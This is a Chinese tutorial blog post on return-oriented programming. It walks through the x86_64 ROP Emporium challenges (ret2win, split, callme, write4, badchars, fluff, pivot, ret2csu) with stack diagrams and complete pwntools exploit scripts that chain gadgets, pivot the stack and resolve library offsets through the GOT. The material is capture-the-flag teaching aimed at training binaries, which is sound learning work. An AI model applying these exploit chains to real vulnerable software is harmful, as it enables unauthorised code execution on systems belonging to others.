ROP入门

ROP

ROP(Return Oriented Programming)即返回导向编程,其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

ROP Emporium

以下题解都是x86_64架构的题目题解。在x86_64架构中,我们需要注意它的传参规则:参数优先通过rdi、rsi、rdx、rcx、r8、r9寄存器传递,如有还有剩余参数则通过栈传递。同时还需要注意,x86_64架构中有很多高级指令要求栈对齐(16bytes对齐)

ret2win

以x86_64架构的题目为例进行分析。

很明显read这里存在缓冲区溢出,通过构造特定的输入可以使返回地址指向ret2win函数,该函数如下:

这样一来就可以得到flag。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./ret2win')
elf = ELF('./ret2win')
ret2win_func_addr = elf.symbols["ret2win"]
ret_addr = 0x400755
payload = b'0' * (32 + 8) + p64(ret_addr) + p64(ret2win_func_addr)

sh.sendline(payload)

sh.interactive()
sh.close()

由于x86_64架构需要栈对齐(16bytes对齐),所以需要在p64(ret2win_func_addr)前加retn指令的地址填充,这样就会在调用system()函数时,栈是对齐的。

这个是否对齐可以进行gdb动调,如果执行movaps指令时rsp不是16字节对齐,那么就需要添加ret指令来对齐

结果如下:

split

差不多的pwnme函数,这里就不放图了。显然这个函数也是存在缓冲区溢出漏洞。查找字符串,发现/bin/cat flag.txt字符串(没有被引用),而且恰好又存在system函数,这不就可以构造一个ROP链了!(usefulFunction函数没用,因为它内部调用system函数时的参数并不能帮助我们获得flag,所以需要我们手动构造参数传递并调用system函数)

根据x86_64的传参规则:参数优先通过rdi、rsi、rdx、rcx、r8、r9寄存器传递,如有还有剩余参数则通过栈传递

因此我们需要找到pop rdi;ret;指令(称之为gadget),这样我们可以通过pop rdi传递/bin/cat flag.txt字符串,再通过retrip指向system函数首地址(或call system指令的首地址)。

我是用的是ROPgadget工具帮我找这样的gadget

地址对应代码如下(pop rdi的硬编码为5f):

找到这样的gadget之后,初步构造的ROP链应该如下(还未添加ret指令进行栈对齐):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
低地址
+----------------+ <- rsp
| 填充字符 | <- 局部变量s(32bytes)
+----------------+
| 填充字符 | <- 原调用者的rbp (8bytes)
+----------------+
|pop rdi;ret;地址| <- 调用该函数的返回地址
+----------------+
|usefulString addr|
+----------------+
| system addr |
+----------------+
| ...... |
+----------------+
高地址

然后对应的payload如下:

1
payload = b'a' * (32 + 8) + p64(pop_ret_addr) + p64(usefulString_addr) + p64(system_addr)

gdb跟随调试,自然是出现了栈未对齐的错误:

从上面两幅图可以看出,真正要求栈对齐的是movaps指令,并不是说我们在调用system等函数时必须栈对齐!!!(之前一直理解错了,以为是函数调用时栈必须对齐,我说怎么这么奇怪呢)

为了修正栈未对齐的问题,我们需要在payload中添加一个ret指令,可行的方法有如下两种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
低地址
+----------------+ <- rsp +----------------+ <- rsp
| 填充字符 | <- 局部变量s(32bytes) | 填充字符 | <- 局部变量s(32bytes)
+----------------+ +----------------+
| 填充字符 | <- 原调用者的rbp (8bytes) | 填充字符 | <- 原调用者的rbp (8bytes)
+----------------+ +----------------+
|pop rdi;ret;地址| <- 调用该函数的返回地址 | ret地址 | <- 调用该函数的返回地址
+----------------+ +----------------+
|usefulString地址| |pop rdi;ret;地址|
+----------------+ +----------------+
| ret地址 | |usefulString地址|
+----------------+ +----------------+
| system地址 | | system地址 |
+----------------+ +----------------+
| ...... | | ...... |
高地址

不可在pop rdi;retusefulString之间添加ret,这样会打破ROP链原本功能,因为我们让执行pop rdi就是为了弹usefulString的地址给rdi,作为system()的参数。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process("./split")
#sh = gdb.debug("./split", "break *0x400741")

system_addr = 0x400560
pop_ret_addr = 0x4007c3
ret_addr = 0x400741
usefulString_addr = 0x601060

payload = b'a' * (32 + 8) + p64(ret_addr) + p64(pop_ret_addr) + p64(usefulString_addr) + p64(system_addr)

sh.sendline(payload)
sh.interactive()
sh.close()

callme

同样的pwnme()函数同样的漏洞,额外存在三个外部导入函数:callme_onecallme_twocallme_three,它们都来自libcallme.so动态库。

callme_one函数要求传入的三个参数等于特定值,功能为读取encrypted_flag.dat中的数据。

callme_two函数也要求传入的三个参数等于特定值,功能为读取key1.dat的数据,用于 encrypted_flag.dat中的数据解密。

callme_three函数也要求传入的三个参数等于特定值,功能为读取key2.dat的数据,用于 encrypted_flag.dat中的数据解密,然后输出解密结果。

思路肯定是通过栈溢出使得能够调用以上三个函数。为此我们需要寻找pop rdi;pop rsi;pop rdx;ret这样的gadget,或者pop rdi;ret;pop rsi;ret;pop rdx;ret;这样的gadget

初步ROP链构造如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
低地址
+--------------------+ <- rsp
| 填充字符 | <- 局部变量s(32bytes)
+--------------------+
| 填充字符 | <- 原调用者的rbp (8bytes)
+--------------------+ <------------①----------- 如果栈未对齐,可选一处位置添加ret指令
| pop|pop|pop|ret地址 | <- 调用该函数的返回地址 |
+--------------------+ |
| a1 | |
+--------------------+ ②
| a2 | |
+--------------------+ |
| a3 | |
+--------------------+ <-------------------------------------
| callme_one地址 |
+--------------------+
| pop|pop|pop|ret地址 |
+--------------------+
| a1 |
+--------------------+
| a2 |
+--------------------+
| a3 |
+--------------------+
| callme_two地址 |
+--------------------+
| pop|pop|pop|ret地址 |
+--------------------+
| a1 |
+--------------------+
| a2 |
+--------------------+
| a3 |
+--------------------+
| callme_two地址 |
+--------------------+
高地址

gdb调试后发现fopen函数内有movaps指令,因此需要栈对齐。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

sh = process("./callme")

gadget_addr = 0x40093c
param_a1 = 0xDEADBEEFDEADBEEF
param_a2 = 0xCAFEBABECAFEBABE
param_a3 = 0xD00DF00DD00DF00D
callme_one_addr = 0x400720
callme_two_addr = 0x400740
callme_three_addr = 0x4006F0
ret_addr = 0x4008f1
payload = (b'a' * (32 + 8) + p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3)
+ p64(ret_addr) + p64(callme_one_addr)
+ p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3) + p64(callme_two_addr)
+ p64(gadget_addr) + p64(param_a1) + p64(param_a2) + p64(param_a3) + p64(callme_three_addr))

sh.send(payload)
sh.interactive()
sh.close()

write4

函数主要功能在libwrite4.so动态库中,整个思路是通过pwnme函数的缓冲区溢出调用print_file函数,读取flag.txt文件并输出flag。然而心心念念的flag.txt字符串并不存在于程序中,因此如何构造gadget使得我们能够在内存中写入这并读取样的字符串成为了关键。

官方文档提示寻找mov [reg], reg这样的gadget可以让我们写值到内存中(比如.bss段和.data段)。也就是说,前一个reg的值得是.bss段或.data段的地址,后一个reg的值得是flag.txt字符串。要想实现写操作,又得需要pop|pop|ret这样得gadget,且前后两个gadget中的reg得相同。经过查找,发现只有r14r15满足。

对于写操作部分的ROP链,示意图如下:

1
2
3
4
5
6
7
8
9
10
11
低地址
+---------------------------------------+
| pop r14;pop r15;ret;指令地址 |
+---------------------------------------+
| .bss/.data段中的地址 |
+---------------------------------------+
| "flag.txt"字符串 |
+---------------------------------------+
| mov qword ptr [r14], r15; ret指令地址 |
+---------------------------------------+
高地址

之后就是从内存中读取”flag.txt“字符串并调用print_file函数,需要用到pop rdi;ret这样的gadget,对应读操作部分的ROP链如下:

1
2
3
4
5
6
7
8
9
低地址
+---------------------------------------+
| pop rdi;ret;指令地址 |
+---------------------------------------+
| .bss/.data段中相同的地址 |
+---------------------------------------+
| print_file函数地址 |
+---------------------------------------+
高地址

一开始还在想怎么获取print_file函数地址(毕竟只知道在libwrite4.so中的偏移量)呢,结果发现write4程序中的usefulFunction函数调用了 print_file函数,这样一来我们就可以通过plt表调用该函数了。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

sh = process("./write4")

ret_addr = 0x400616

gadget_ppr_addr = 0x400690
data_addr = 0x601030
insert_data = "flag.txt".encode()
gadget_mr_addr = 0x400628

gadget_pr_addr = 0x400693
print_file_func_addr = 0x400510

payload = b'a' * (32 + 8) + p64(ret_addr)
payload += p64(gadget_ppr_addr) + p64(data_addr) + insert_data + p64(gadget_mr_addr)
payload += p64(gadget_pr_addr) + p64(data_addr)
payload += p64(print_file_func_addr)

sh.sendline(payload)

sh.interactive()
sh.close()

badchars

同write4题目一样,只不过多了一个输入检查。我们只需要在原来的基础上,通过xor|retadd|retsub|ret这样的gadget修复即可。

可以在write4题目中的写、读ROP链之间,添加多个如下ROP链以修复flag.txt字符串:

1
2
3
4
5
6
7
8
9
10
11
低地址
+---------------------------------------+
| pop r14;pop r15;ret;指令地址 |
+---------------------------------------+
| 字符ASCII码 + 21 |
+---------------------------------------+
| 待修复的字符所在.bss/.data段中的地址 |
+---------------------------------------+
| add [r15], r14b;ret;指令地址 |
+---------------------------------------+
高地址

不过需要注意的是之前使用的mov qword ptr [r14], r15; ret这样的gadget没有了,需要使用mov qword ptr [r13], r12;ret这样的gadget,同时搭配pop r12;pop r13;pop r14;pop r15;ret;gadget使用,这样就需要额外的16bytes填充字符。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

sh = process("./badchars")
#sh = gdb.debug("./badchars", "break pwnme")
ret_addr = 0x400616

pop_r12_13_r14_r15_ret = 0x40069c
data_addr = 0x601030
insert_data = "flag.txt".encode()
mov_r13_r12_ret = 0x400634 #r13 store memory addr

pop_rdi_ret = 0x4006a3
print_file_func_addr = 0x400510

pop_r14_r15_ret = 0x4006a0
add_r15_r14b_ret = 0x40062c

payload = b'A' * (32 + 8) + p64(ret_addr)
payload += p64(pop_r12_13_r14_r15_ret) + insert_data + p64(data_addr) + b'a' * 16
payload += p64(mov_r13_r12_ret)

payload += p64(pop_r14_r15_ret) + p64(ord("a") + 21) + p64(data_addr + 2) + p64(add_r15_r14b_ret)
payload += p64(pop_r14_r15_ret) + p64(ord("g") + 21) + p64(data_addr + 3) + p64(add_r15_r14b_ret)
payload += p64(pop_r14_r15_ret) + p64(ord(".") + 21) + p64(data_addr + 4) + p64(add_r15_r14b_ret)
payload += p64(pop_r14_r15_ret) + p64(ord("x") + 21) + p64(data_addr + 6) + p64(add_r15_r14b_ret)

payload += p64(pop_rdi_ret) + p64(data_addr)
payload += p64(print_file_func_addr)
print(f'payload = {payload}')
sh.sendline(payload)

sh.interactive()
sh.close()

fluff

同write4一样,需要我们将flag.txt写入内存,不过这次使用的是另一种gadget组合。直接看给出的questionableGadgets

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000000000400628 questionableGadgets:
.text:0000000000400628 xlat
.text:0000000000400629 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A pop rdx
.text:000000000040062B pop rcx
.text:000000000040062C add rcx, 3EF2h
.text:0000000000400633 bextr rbx, rcx, rdx
.text:0000000000400638 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639 stosb
.text:000000000040063A retn

查阅了xlatbextrstosb指令的作用。

  • xlat指令:使用 AL 寄存器中的值作为索引,从内存地址 DS:RBX + AL 处检索一个字节,将这个字节的值加载到 AL 寄存器中。
  • bextr指令:指令格式为bextr dest, src, control。其中dest是目标寄存器,用于存储提取的位域结果。src是源寄存器,从中提取位域。control是控制寄存器,指定了要提取的位域的起始位置(由低8bits(0~7)决定)和长度(由高8bits(8~15)决定)。
  • stosb指令:将 AL 寄存器中的字节值存储到 RDI 寄存器指向的内存位置,RDI寄存器自增或自减(DF标志位决定)。

初步思路就是使用xlat指令从内存中取flag.txt中的各个字符,再通过stosb指令存储到rdi寄存器指定的位置。取字符的话需要修正rbx寄存器,可以通过questionableGadgets中的第5~9行修正,但是地址还受到al寄存器的影响,可是并不存在这样的pop gadget来修改al寄存器。

因此对于最开始的al寄存器的值,我们只能动调程序运行完pwnme函数后查看。而对于后续的al寄存器的值,是通过xlat指令改变的,这一改变我们是可以明确知道的(即al中的值会变成当前我们所要寻找的字符的值)。

整个ROP链构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
低地址
+------------------------------------------------+
| 32 + 8bytes字符填充 |
+------------------------------------------------+
| ret指令修正栈对齐 |
+------------------------------------------------+
| pop rdi;ret;指令地址 |
+------------------------------------------------+
| 存放字符串的地址 |
+------------------------------------------------+ ------
| pop rdx;pop rcx;add...;bextr...;ret指令地址 | |
+------------------------------------------------+ |
| 0x4000 (图个方便,直接变成mov rbx, rcx) | |
+------------------------------------------------+ |
| 字符所在地址 - al -0x3EF2 (这个值pop到rcx) | |-------> 第一轮,移动'f'字符
+------------------------------------------------+ |
| xlat;ret;指令地址 | |
+------------------------------------------------+ |
| stosb;ret指令地址 | |
+------------------------------------------------+ ------
| 剩余7轮构造flag.txt |
| ...... |
| |
+------------------------------------------------+ ----
| pop rdi;ret;指令地址 | |
+------------------------------------------------+ |----->xlat指令修改了rdi,需要进行修正
| 存放字符串的地址 | |
+------------------------------------------------+ ----
| print_file函数地址 |
+------------------------------------------------+
高地址

对应脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

sh = process("./fluff")
#sh = gdb.debug("./fluff", "break pwnme")
ret_addr = 0x400627
pop_rdi_ret = 0x4006a3
string_addr = 0x601030
pop2_add_bextr_ret = 0x40062A
xlat_ret = 0x400628
stosb_ret = 0x400639
store_rdx_val = 0x4000
#动调查看具体值
al_val = 0xb

file_name = "flag.txt"
# "flag.txt"中各个字符的地址
alp_addr_list = [0x4003c4, 0x400239, 0x4003d6, 0x4003cf, 0x4003c9, 0x4003d5, 0x400246, 0x4003d5]

print_file_addr = 0x400510

payload = b'a' * (32 + 8) + p64(ret_addr)
payload += p64(pop_rdi_ret) + p64(string_addr)

for i in range(len(alp_addr_list)):
payload += p64(pop2_add_bextr_ret) + p64(store_rdx_val) + p64(alp_addr_list[i] - al_val - 0x3EF2)
payload += p64(xlat_ret) + p64(stosb_ret)
al_val = ord(file_name[i])

payload += p64(pop_rdi_ret) + p64(string_addr)
payload += p64(print_file_addr)

sh.sendline(payload)
sh.interactive()
sh.close()

pivot

要求我们输入a1ss的输入存在栈溢出,但是也只有24bytes可用于ROP链的构造,显然是不太够的。但是题目会输出a1的值,指向的是在main函数中动态开辟的空间,再加上如下gadget,可以构造栈迁移的ROP链,使栈指针rsp指向堆栈中的动态空间。

其中xchg指令用于交换两个寄存器的值。

栈迁移的ROP链的示意图如下:

1
2
3
4
5
6
7
8
9
10
11
低地址
+------------------------------------------------+
| 32 + 8bytes字符填充 | 40bytes
+------------------------------------------------+
| pop rax;ret;指令地址 | 8bytes
+------------------------------------------------+
| 接收到的a1 | 8bytes
+------------------------------------------------+
| xchg rax, rsp;ret;指令地址 | 8bytes
+------------------------------------------------+
高地址

接下来通过分析以及提示,我们可以知道需要构造ROP链调用ret2win函数,但是在pivot程序中并没有导入ret2win函数,但是导入了foothold_function函数,这两个函数都在libpivot.so动态库中。因此我猜测可能要通过foothold_function函数作为踏板来调用ret2win函数,如果我们知道foothold_function函数和ret2win函数在libpivot.so动态库的偏移量,也就知道了它们之间的差值,又由于pivot程序中导入了foothold_function函数,因此我们可以知道foothold_function函数的地址,这样一来就可以求出ret2win函数地址。但是,我们需要注意的是,程序中的外部导入函数的调用涉及到懒绑定

懒绑定

懒绑定,即函数直到第一次被调用时才进行地址绑定。这个过程涉及到.plt表和.got.plt表(简称.got表):

  • .plt(Procedure Linkage Table)

    .plt 表包含一系列的跳转指令,用于调用外部函数。每个函数在 .plt 中都有一个对应的入口,该入口最初指向 .plt 中的一段代码,用于解析函数地址。

  • got.plt(Global Offset Table for PLT)

    .got.plt 表包含指针,这些指针最初指向 .plt 表中的某些指令。当函数地址被解析后,这些指针会被更新为函数的实际地址。

懒绑定具体原理如下:

  1. 初始调用:

    当程序第一次调用一个外部函数(如 puts)时,调用会进入 .plt 表中对应的入口。

    • 该入口执行一个跳转指令,跳转到 .got.plt 表中对应位置存储的地址。

    • 初始状态下,.got.plt 表中的地址指向 .plt 表中一段特殊的代码,这段代码会调用动态链接器(dynamic linker)来解析函数的实际地址。

  2. 动态链接器解析:

    • 动态链接器(如 _dl_runtime_resolve)会查找函数的实际地址。
    • 查找到函数的实际地址后,动态链接器会将该地址写入 .got.plt 表中的相应位置。
  3. 后续调用:

    • 在函数地址解析之后,.got.plt 表中的地址已被更新为函数的实际地址。
    • 后续对该函数的调用会直接跳转到函数的实际地址,而不再需要经过动态链接器。

理解了懒绑定之后,回到题目上来,为了能够确切的获取.got.plt表中foothold_function函数地址,我们就需要手动调用一次该函数。通过寻找,发现可用以下gadget来构造出我们想要的ROP链。

通过以上gadget,构造如下ROP链调用ret2win函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
低地址
+------------------------------------------------+
| foothold_function@plt |
+------------------------------------------------+
| pop rax;ret;指令地址 |
+------------------------------------------------+
| foothold_function@got |
+------------------------------------------------+
| mov rax, qword ptr [rax];ret;指令地址 |
+------------------------------------------------+
| pop rbp;ret;指令地址 |
+------------------------------------------------+
| ret2win - foothold_function的差值 |
+------------------------------------------------+
| add rax, rbp; ret;指令地址 |
+------------------------------------------------+
| call rax;指令地址 |
+------------------------------------------------+
高地址

exp

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

sh = process("./pivot")
#sh = gdb.debug("./pivot", "break *0x40095d")
elf_pivot = ELF("./pivot")
elf_libpivot = ELF("./libpivot.so")

ret_addr = 0x4006b6
pop_rax_ret = 0x4009bb
xchg_ret = 0x4009bd
foothold_function_plt = elf_pivot.plt["foothold_function"]
foothold_function_got = elf_pivot.got["foothold_function"]
offset = elf_libpivot.sym["ret2win"] - elf_libpivot.sym["foothold_function"]

mov_rax2_ret = 0x4009c0
pop_rbp_ret = 0x4007c8
add_rax_rbp_ret = 0x4009c4
call_rax = 0x4006b0

sh.recvuntil(b'The Old Gods kindly bestow upon you a place to pivot: ')
a1_pointer = int(sh.recvuntil(b'\n'), 16)

# 构造栈迁移的ROP链
payload1 = b'a' * (32 + 8) + p64(pop_rax_ret) + p64(a1_pointer) + p64(xchg_ret)

# 构造调用ret2win函数的ROP链
# 需要手动调用foothold_function,这样got表绑定的就是foothold_function函数的真实地址了
# 之后根据foothold_function函数与ret2win函数的地址差值就可以找到ret2win函数
payload2 = p64(foothold_function_plt)
payload2 += p64(pop_rax_ret) + p64(foothold_function_got)
payload2 += p64(mov_rax2_ret)
payload2 += p64(pop_rbp_ret) + p64(offset)
payload2 += p64(add_rax_rbp_ret)
payload2 += p64(call_rax)

sh.recvuntil(b'> ')
sh.sendline(payload2)
sh.recvuntil(b'> ')
sh.sendline(payload1)

sh.interactive()
sh.close()

ret2csu

类似callme题目,我们所要调用的ret2win函数需要传入3个参数,通过查找pop|ret这样的gadget发现程序中并不存在pop rdx这样的指令,因此第3个参数的传递构造就成了难题。

官方提示了__libc_csu_init这样的函数,它里面使用到了各种不同的寄存器。我们观察这个函数,可以发现存在如下非常有用的gadget

假如我们先执行gadget1再执行gadget2,那么就可以通过r13r14r15寄存器将第一、二、三个参数传递给edirsirdx(注意mov edi, r13d会将rdi的高32bits清零)。然后我们又可以通过控制r12rbx,这样一来就可以通过call指令调用我们想调用的函数了。

但由于第一个参数是64bits的,显然想通过gadget2中的call指令调用ret2win函数并输出flag是行不通的。因此以上操作只能使第三个参数存储到rdx中,但由于call指令的存在,我们需要寻找合适的函数以确保它所调用的函数不会修改rdx的值。同时,为了使得我们在执行完gadget2后能够继续控制代码流,我们需要控制rbprbx的值(通常简单地设置rbp=1,rbx=0),使其在jnz指令处继续往下执行,最终到达retn指令。

注意到frame_dummy函数并不会更改rdx的值,因此我们可以让[r12+rbx*8]指向该函数(注意是r12+rbx*8对应地址里的值为函数地址)。

经过以上分析,我们构造出最终的ROP链如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
低地址
+------------------------------------------------+
| 40bytes填充字符 |
+------------------------------------------------+
| gadget1所在地址 |
+------------------------------------------------+
| 0(rbx) |
+------------------------------------------------+
| 1(rbp) |
+------------------------------------------------+
| 存储frame_dummy函数地址的地址(r12) | (即0x600DF0处的__frame_dummy_init_array_entry)
+------------------------------------------------+
| 0(r13) |
+------------------------------------------------+
| 0(r14) |
+------------------------------------------------+
| 第三个参数的值(r15) |
+------------------------------------------------+
| gadget2所在地址 |
+------------------------------------------------+
| 8bytes填充字符(add rsp,8)+48bytes填充字符(5个pop) |
+------------------------------------------------+
| pop rdi;ret;指令地址 |
+------------------------------------------------+
| 第一个参数的值 |
+------------------------------------------------+
| pop rsi;pop r15;ret;指令地址 |
+------------------------------------------------+
| 第二个参数的值 |
+------------------------------------------------+
| 8bytes填充字符 |
+------------------------------------------------+
| call _ret2win指令地址 |
高地址

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

sh = process("./ret2csu")
#sh = gdb.debug("./ret2csu", "break *(pwnme+152)")

ret_addr = 0x4006A4
pop_rdi_ret = 0x4006a3
pop_rsi_r15_ret = 0x4006a1

csu_gadget1 = 0x40069A # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn;
csu_gadget2 = 0x400680 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call ds:[r12+rbx*8];...

param1 = 0xDEADBEEFDEADBEEF
param2 = 0xCAFEBABECAFEBABE
param3 = 0xD00DF00DD00DF00D
call_ret2win_addr = 0x40062a # 使用call ret2win指令不需要进行栈对齐
ret2win_plt_addr = 0x400510 # 通过.plt表调用ret2win函数需要进行栈对齐

frame_dummy_addr = 0x600df0

# 让rdx存储第三个参数的值
payload = b'a' * (32 + 8)
payload += p64(csu_gadget1) + p64(0) + p64(1) + p64(frame_dummy_addr) + p64(0) + p64(0) + p64(param3)
payload += p64(csu_gadget2)
payload += b'a' * 8
payload += 6 * p64(0)

# 第一、二参数存储到rdi、rsi中
payload += p64(pop_rdi_ret) + p64(param1)
payload += p64(pop_rsi_r15_ret) + p64(param2) + p64(0)

# 调用ret2win
payload += p64(call_ret2win_addr)
# or
# payload += p64(ret_addr) + p64(ret2win_plt_addr)

sh.sendline(payload)
sh.interactive()
sh.close()


参考:

ROP Emporium

Beginners’ guide (ropemporium.com)

ROPgadget: This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64, and RISC-V Compressed architectures. (github.com)

求助,做pwn题ciscn_2019_c_1时栈平衡的问题

PLT & GOT 表动态链接详解及 pwn 应用_.got.plt 的序号-CSDN博客

28479-return-oriented-programming-(rop-ftw).pdf (exploit-db.com)

asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/


ROP入门
http://example.com/2024/06/16/PWN/ROP入门/
作者
gla2xy
发布于
2024年6月16日
许可协议